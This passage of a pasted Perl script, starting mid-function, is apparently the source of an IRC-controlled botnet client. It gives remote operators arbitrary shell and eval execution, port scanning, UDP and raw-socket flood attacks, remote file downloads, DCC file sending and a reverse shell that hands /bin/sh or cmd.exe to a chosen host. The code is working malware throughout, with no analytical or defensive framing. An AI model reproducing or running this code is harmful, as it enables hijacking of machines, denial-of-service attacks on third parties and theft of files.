- . "User-Agent: $AGENT/$VERSION/u\015\012";
- $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
- $request .= "\015\012";
- print $sock $request;
- my $buf = "";
- my $n;
- my $b1 = "";
- while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
- if ($b1 eq "") {
- $b1 = $buf;
- $buf =~ s/.+?\015?\012\015?\012//s;
- }
- if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
- }
- return undef unless defined($n);
- $main::http_get_result = 200;
- if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
- $main::http_get_result = $1;
- # print "CODE=$main::http_get_result\n$b1\n";
- if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
- my $url = $1;
- return undef if $http_loop_check{$url}++;
- return _get($url);
- }
- return undef unless $main::http_get_result =~ /^2/;
- }
- return $buf;
- }
- $sel_cliente = IO::Select->new();
- sub sendraw {
- if ($#_ == '1') {
- my $socket = $_[0];
- print $socket "$_[1]\n";
- } else {
- print $IRC_cur_socket "$_[0]\n";
- }
- }
- sub conectar {
- my $meunick = $_[0];
- my $servidor_con = $_[1];
- my $porta_con = $_[2];
- my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
- if (defined($IRC_socket)) {
- $IRC_cur_socket = $IRC_socket;
- $IRC_socket->autoflush(1);
- $sel_cliente->add($IRC_socket);
- $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
- $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
- $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
- $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
- nick("$meunick");
- sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
- sleep 2;
- }
- }
- my $line_temp;
- while( 1 ) {
- while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
- delete($irc_servers{''}) if (defined($irc_servers{''}));
- &DCC::connections;
- my @ready = $sel_cliente->can_read(0.6);
- next unless(@ready);
- foreach $fh (@ready) {
- $IRC_cur_socket = $fh;
- $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
- $nread = sysread($fh, $msg, 4096);
- if ($nread == 0) {
- $sel_cliente->remove($fh);
- $fh->close;
- delete($irc_servers{$fh});
- }
- @lines = split (/\n/, $msg);
- for(my $c=0; $c<= $#lines; $c++) {
- $line = $lines[$c];
- $line=$line_temp.$line if ($line_temp);
- $line_temp='';
- $line =~ s/\r$//;
- unless ($c == $#lines) {
- parse("$line");
- } else {
- if ($#lines == 0) {
- parse("$line");
- } elsif ($lines[$c] =~ /\r$/) {
- parse("$line");
- } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
- parse("$line");
- } else {
- $line_temp = $line;
- }
- }
- }
- }
- }
- sub parse {
- my $servarg = shift;
- if ($servarg =~ /^PING \:(.*)/) {
- sendraw("PONG :$1");
- } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
- my $pn=$1; my $hostnam3=$3; my $onde = $4; my $args = $5;
- if ($args =~ /^\001VERSION\001$/) {
- notice("$pn", "".$Mrx."");
- }
- elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
- notice("$pn", "\001PONG\001");
- }
- if (grep {$_ =~ /^\Q$hostnam3\E$/i } @hostauth) {
- if (grep {$_ =~ /^\Q$pn\E$/i } @mast3rs) {
- if ($onde eq "$meunick"){
- shell("$pn", "$args");
- }
- if ($args =~ /^!(.*)/){
- ircase("$pn","$chan","$1");
- }
- if ($args =~ /^(\Q$meunick\E|\Q$xeqt\E)\s+(.*)/ ) {
- my $natrix = $1;
- my $arg = $2;
- if ($arg =~ /^\!(.*)/) {
- ircase("$pn","$onde","$1");
- } elsif ($arg =~ /^\@(.*)/) {
- $ondep = $onde;
- $ondep = $pn if $onde eq $meunick;
- bfunc("$ondep","$1");
- } else {
- shell("$onde", "$arg");
- }
- }
- }
- }
- } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
- if (lc($1) eq lc($meunick)) {
- $meunick=$4;
- $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
- }
- } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
- $meunick = getnick();
- nick("".$meunick."-");
- } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
- $meunick = $2;
- $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
- $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
- foreach my $canal (@admchan){
- sendraw("JOIN $canal muietie");
- }
- }
- }
- sub bfunc {
- my $printl = $_[0];
- my $funcarg = $_[1];
- if (my $pid = fork) {
- waitpid($pid, 0);
- } else {
- if (fork)
- {
- exit;
- }
- else
- {
- # Quick scan
- if ($funcarg =~ /^ps (.*)/) {
- my $hostip="$1";
- sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Portscanning\003\002: $1 \002\00312Ports:\003\002 default");
- my (@aberta, %porta_banner);
- foreach my $porta (@portas) {
- my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
- if ($scansock) {
- push (@aberta, $porta);
- $scansock->close;
- sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
- }
- }
- if (@aberta) {
- sendraw($IRC_cur_socket, "PRIVMSG $printl :Port Scan Complete with target: $1 ");
- } else {
- sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[x]\0034 No open ports found on\002 $1");
- }
- }
- # NMAP, lol
- elsif ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/)
- {
- my $hostname="$1";
- my $portstart = "$2";
- my $portend = "$3";
- my (@abertas, %porta_banner);
- sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312xMap Portscanning\003\002: $1 \002\00312Ports:\003\002 $2-$3");
- foreach my $porta ($portstart..$portend)
- {
- my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
- if ($scansock) {
- push (@abertas, $porta);
- $scansock->close;
- if ($xstats)
- {
- sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
- }
- }
- }
- if (@abertas) {
- sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Scan Complate\003\002");
- } else {
- sendraw($IRC_cur_socket,"PRIVMSG $printl :\002\00312No ports found..\002");
- }
- }
- # Remove
- elsif ($funcarg =~ /^rm/)
- {
- system("cd /var/tmp ; rm -rf cb find god* wunder* udev* lib*");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Quickdel)\002\00314 Removed files and folders ");
- }
- # Version
- elsif ($funcarg =~ /^version/)
- {
- sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Version)\002\00314 $version ");
- }
- # Download
- elsif ($funcarg =~ /^down\s+(.*)\s+(.*)/)
- {
- getstore("$1", "$2");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Download)\002\00314 Page: $2 (File: $1)") if ($xstats);
- }
- # Udp
- elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
- return unless $pacotes;
- socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
- my $alvo=inet_aton("$1");
- my $porta = "$2";
- my $tempo = "$3";
- my $pacote;
- my $pacotese;
- my $fim = time + $tempo;
- my $pacota = 1;
- sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP DDoSing)\003 Attacking\002: $1 - \002Time\002: $tempo"."seconds");
- while (($pacota == "1") && ($pacotes == "1")) {
- $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
- $pacote=$rand x $rand x $rand;
- $porta = int(rand 65000) +1 if ($porta == "0");
- send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
- }
- if ($xstats)
- {
- sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP Complete):\003\002 $1 - \002Sendt\002: $pacotese"."kb - \002Time\002: $tempo"."seconds");
- }
- }
- # Backconnect
- elsif ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
- my $host = "$1";
- my $porta = "$2";
- my $proto = getprotobyname('tcp');
- my $iaddr = inet_aton($host);
- my $paddr = sockaddr_in($porta, $iaddr);
- my $shell = "/bin/sh -i";
- if ($^O eq "MSWin32") {
- $shell = "cmd.exe";
- }
- socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
- connect(SOCKET, $paddr) or die "connect: $!";
- sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[x] ->\0034 Injection ...");
- open(STDIN, ">&SOCKET");
- open(STDOUT, ">&SOCKET");
- open(STDERR, ">&SOCKET");
- system("$shell");
- system("cd /tmp/.mrx");
- close(STDIN);
- close(STDOUT);
- close(STDERR);
- }
- exit;
- }
- }
- }
- sub ircase {
- my ($kem, $printl, $case) = @_;
- if ($case =~ /^join (.*)/) {
- j("$1");
- }
- elsif ($case =~ /^part (.*)/) {
- p("$1");
- }
- elsif ($case =~ /^rejoin\s+(.*)/) {
- my $chan = $1;
- if ($chan =~ /^(\d+) (.*)/) {
- for (my $ca = 1; $ca <= $1; $ca++ ) {
- p("$2");
- j("$2");
- }
- } else {
- p("$chan");
- j("$chan");
- }
- }
- elsif ($case =~ /^op/) {
- op("$printl", "$kem") if $case eq "op";
- my $oarg = substr($case, 3);
- op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
- }
- elsif ($case =~ /^deop/) {
- deop("$printl", "$kem") if $case eq "deop";
- my $oarg = substr($case, 5);
- deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
- }
- elsif ($case =~ /^voice/) {
- voice("$printl", "$kem") if $case eq "voice";
- $oarg = substr($case, 6);
- voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
- }
- elsif ($case =~ /^devoice/) {
- devoice("$printl", "$kem") if $case eq "devoice";
- $oarg = substr($case, 8);
- devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
- }
- elsif ($case =~ /^msg\s+(\S+) (.*)/) {
- msg("$1", "$2");
- }
- elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
- for (my $cf = 1; $cf <= $1; $cf++) {
- msg("$2", "$3");
- }
- }
- elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
- for (my $cf = 1; $cf <= $1; $cf++) {
- ctcp("$2", "$3");
- }
- }
- elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
- ctcp("$1", "$2");
- }
- elsif ($case =~ /^invite\s+(\S+) (.*)/) {
- invite("$1", "$2");
- }
- elsif ($case =~ /^nick (.*)/) {
- nick("$1");
- }
- elsif ($case =~ /^jump\s+(\S+)\s+(\S+)/) {
- conectar("$2", "$1", 6667);
- }
- elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
- DCC::SEND("$1", "$2");
- }
- elsif ($case =~ /^raw (.*)/) {
- sendraw("$1");
- }
- elsif ($case =~ /^eval (.*)/) {
- eval "$1";
- }
- elsif ($case =~ /^rj\s+(\S+)\s+(\d+)/) {
- sleep int(rand($2));
- j("$1");
- }
- elsif ($case =~ /^rp\s+(\S+)\s+(\d+)/) {
- sleep int(rand($2));
- p("$1");
- }
- elsif ($case =~ /^quit/) {
- quit();
- }
- elsif ($case =~ /^rand/) {
- my $novonick = getnick();
- nick("$novonick");
- }
- elsif ($case =~ /^stat (.*)/) {
- if ($1 eq "on") {
- $xstats = 1;
- msg("$printl", "Satus enabled");
- } elsif ($1 eq "off") {
- $xstats = 0;
- msg("$printl", "Status disable");
- }
- }
- elsif ($case =~ /^bang (.*)/) {
- if ($1 eq "on") {
- $pacotes = 1;
- msg("$printl", "[x] Bang mode enabled") if ($xstats == "1");
- } elsif ($1 eq "off") {
- $pacotes = 0;
- msg("$printl", "[x] Bang mode disabled") if ($xstats == "1");
- }
- }
- }
- sub shell {
- return unless $shellaccess;
- my $printl=$_[0];
- my $comando=$_[1];
- if ($comando =~ /cd (.*)/) {
- chdir("$1") || msg("$printl", "cd: $1".": No such file or directory");
- return;
- }
- elsif ($pid = fork) {
- waitpid($pid, 0);
- } else {
- if (fork) {
- exit;
- } else {
- my @resp=`$comando 2>&1 3>&1`;
- my $c=0;
- foreach my $linha (@resp) {
- $c++;
- chop $linha;
- sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
- if ($c >= "$linas_max") {
- $c=0;
- sleep $sleep;
- }
- }
- exit;
- }
- }
- }
- sub attacker {
- my $iaddr = inet_aton($_[0]);
- my $msg = 'B' x $_[1];
- my $ftime = $_[2];
- my $cp = 0;
- my (%pacotes);
- $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
- socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
- socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
- socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
- socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
- return(undef) if $cp == 4;
- my $itime = time;
- my ($cur_time);
- while ( 1 ) {
- for (my $porta = 1; $porta <= 65535; $porta++) {
- $cur_time = time - $itime;
- last if $cur_time >= $ftime;
- send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
- send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
- send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
- send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
- for (my $pc = 3; $pc <= 255;$pc++) {
- next if $pc == 6;
- $cur_time = time - $itime;
- last if $cur_time >= $ftime;
- socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
- send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
- }
- }
- last if $cur_time >= $ftime;
- }
- return($cur_time, %pacotes);
- }
- sub action {
- return unless $#_ == 1;
- sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
- }
- sub ctcp {
- return unless $#_ == 1;
- sendraw("PRIVMSG $_[0] :\001$_[1]\001");
- }
- sub msg {
- return unless $#_ == 1;
- sendraw("PRIVMSG $_[0] :$_[1]");
- }
- sub notice {
- return unless $#_ == 1;
- sendraw("NOTICE $_[0] :$_[1]");
- }
- sub op {
- return unless $#_ == 1;
- sendraw("MODE $_[0] +o $_[1]");
- }
- sub deop {
- return unless $#_ == 1;
- sendraw("MODE $_[0] -o $_[1]");
- }
- sub hop {
- return unless $#_ == 1;
- sendraw("MODE $_[0] +h $_[1]");
- }
- sub dehop {
- return unless $#_ == 1;
- sendraw("MODE $_[0] +h $_[1]");
- }
- sub voice {
- return unless $#_ == 1;
- sendraw("MODE $_[0] +v $_[1]");
- }
- sub devoice {
- return unless $#_ == 1;
- sendraw("MODE $_[0] -v $_[1]");
- }
- sub ban {
- return unless $#_ == 1;
- sendraw("MODE $_[0] +b $_[1]");
- }
- sub unban {
- return unless $#_ == 1;
- sendraw("MODE $_[0] -b $_[1]");
- }
- sub kick {
- return unless $#_ == 1;
- sendraw("KICK $_[0] $_[1] :$_[2]");
- }
- sub modo {
- return unless $#_ == 0;
- sendraw("MODE $_[0] $_[1]");
- }
- sub mode { modo(@_); }
- sub j { &join(@_); }
- sub join {
- return unless $#_ == 0;
- sendraw("JOIN $_[0]");
- }
- sub p { part(@_); }
- sub part {sendraw("PART $_[0]");}
- sub nick {
- return unless $#_ == 0;
- sendraw("NICK $_[0]");
- }
- sub invite {
- return unless $#_ == 1;
- sendraw("INVITE $_[1] $_[0]");
- }
- sub topico {
- return unless $#_ == 1;
- sendraw("TOPIC $_[0] $_[1]");
- }
- sub topic { topico(@_); }
- sub whois {
- return unless $#_ == 0;
- sendraw("WHOIS $_[0]");
- }
- sub who {
- return unless $#_ == 0;
- sendraw("WHO $_[0]");
- }
- sub names {
- return unless $#_ == 0;
- sendraw("NAMES $_[0]");
- }
- sub away {
- sendraw("AWAY $_[0]");
- }
- sub back { away(); }
- sub quit {
- sendraw("QUIT :$_[0]");
- exit;
- }
- package DCC;
- sub connections {
- my @ready = $dcc_sel->can_read(1);
- # return unless (@ready);
- foreach my $fh (@ready) {
- my $dcctipo = $DCC{$fh}{tipo};
- my $arquivo = $DCC{$fh}{arquivo};
- my $bytes = $DCC{$fh}{bytes};
- my $cur_byte = $DCC{$fh}{curbyte};
- my $nick = $DCC{$fh}{nick};
- my $msg;
- my $nread = sysread($fh, $msg, 10240);
- if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
- $DCC{$fh}{status} = "Cancelado";
- $DCC{$fh}{ftime} = time;
- $dcc_sel->remove($fh);
- $fh->close;
- next;
- }
- if ($dcctipo eq "get") {
- $DCC{$fh}{curbyte} += length($msg);
- my $cur_byte = $DCC{$fh}{curbyte};
- open(FILE, ">> $arquivo");
- print FILE "$msg" if ($cur_byte <= $bytes);
- close(FILE);
- my $packbyte = pack("N", $cur_byte);
- print $fh "$packbyte";
- if ($bytes == $cur_byte) {
- $dcc_sel->remove($fh);
- $fh->close;
- $DCC{$fh}{status} = "Recebido";
- $DCC{$fh}{ftime} = time;
- next;
- }
- } elsif ($dcctipo eq "send") {
- my $send = $fh->accept;
- $send->autoflush(1);
- $dcc_sel->add($send);
- $dcc_sel->remove($fh);
- $DCC{$send}{tipo} = 'sendcon';
- $DCC{$send}{itime} = time;
- $DCC{$send}{nick} = $nick;
- $DCC{$send}{bytes} = $bytes;
- $DCC{$send}{curbyte} = 0;
- $DCC{$send}{arquivo} = $arquivo;
- $DCC{$send}{ip} = $send->peerhost;
- $DCC{$send}{porta} = $send->peerport;
- $DCC{$send}{status} = "Enviando";
- open(FILE, "< $arquivo");
- my $fbytes;
- read(FILE, $fbytes, 1024);
- print $send "$fbytes";
- close FILE;
- # delete($DCC{$fh});
- } elsif ($dcctipo eq 'sendcon') {
- my $bytes_sended = unpack("N", $msg);
- $DCC{$fh}{curbyte} = $bytes_sended;
- if ($bytes_sended == $bytes) {
- $fh->close;
- $dcc_sel->remove($fh);
- $DCC{$fh}{status} = "Enviado";
- $DCC{$fh}{ftime} = time;
- next;
- }
- open(SENDFILE, "< $arquivo");
- seek(SENDFILE, $bytes_sended, 0);
- my $send_bytes;
- read(SENDFILE, $send_bytes, 1024);
- print $fh "$send_bytes";
- close(SENDFILE);
- }
- }
- }
- sub SEND {
- my ($nick, $arquivo) = @_;
- unless (-r "$arquivo") {
- return(0);
- }
- my $dccark = $arquivo;
- $dccark =~ s/[.*\/](\S+)/$1/;
- my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
- my $longip = unpack("N",inet_aton($meuip));
- my @filestat = stat($arquivo);
- my $size_total=$filestat[7];
- if ($size_total == 0) {
- return(0);
- }
- my ($porta, $sendsock);
- do {
- $porta = int rand(64511);
- $porta += 1024;
- $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
- } until $sendsock;
- $DCC{$sendsock}{tipo} = 'send';
- $DCC{$sendsock}{nick} = $nick;
- $DCC{$sendsock}{bytes} = $size_total;
- $DCC{$sendsock}{arquivo} = $arquivo;
- &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
- }
- sub GET {
- my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
- return(0) if (-e "$arquivo");
- if (open(FILE, "> $arquivo")) {
- close FILE;
- } else {
- return(0);
- }
- my $dccip=fixaddr($dcclongip);
- return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
- my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
- $dccsock->autoflush(1);
- $dcc_sel->add($dccsock);
- $DCC{$dccsock}{tipo} = 'get';
- $DCC{$dccsock}{itime} = time;
- $DCC{$dccsock}{nick} = $nick;
- $DCC{$dccsock}{bytes} = $bytes;
- $DCC{$dccsock}{curbyte} = 0;
- $DCC{$dccsock}{arquivo} = $arquivo;
- $DCC{$dccsock}{ip} = $dccip;
- $DCC{$dccsock}{porta} = $dccporta;
- $DCC{$dccsock}{status} = "Recebendo";
- }
- sub Status {
- my $socket = shift;
- my $sock_tipo = $DCC{$socket}{tipo};
- unless (lc($sock_tipo) eq "chat") {
- my $nick = $DCC{$socket}{nick};
- my $arquivo = $DCC{$socket}{arquivo};
- my $itime = $DCC{$socket}{itime};
- my $ftime = time;
- my $status = $DCC{$socket}{status};
- $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
- my $d_time = $ftime-$itime;
- my $cur_byte = $DCC{$socket}{curbyte};
- my $bytes_total = $DCC{$socket}{bytes};
- my $rate = 0;
- $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
- my $porcen = ($cur_byte*100)/$bytes_total;
- my ($r_duv, $p_duv);
- if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
- $r_duv = $3; $r_duv++ if $4 >= 5;
- $rate = "$1\.$2"."$r_duv";
- }
- if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
- $p_duv = $3; $p_duv++ if $4 >= 5;
- $porcen = "$1\.$2"."$p_duv";
- }
- return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
- }
- return(0);
- }
- sub fixaddr {
- my ($address) = @_;
- chomp $address;
- if ($address =~ /^\d+$/) {
- return inet_ntoa(pack "N", $address);
- } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
- return $address;
- } elsif ($address =~ tr/a-zA-Z//) {
- return inet_ntoa(((gethostbyname($address))[4])[0]);
- } else {
- return;
- }
- }
Add Comment
Please, Sign In to add comment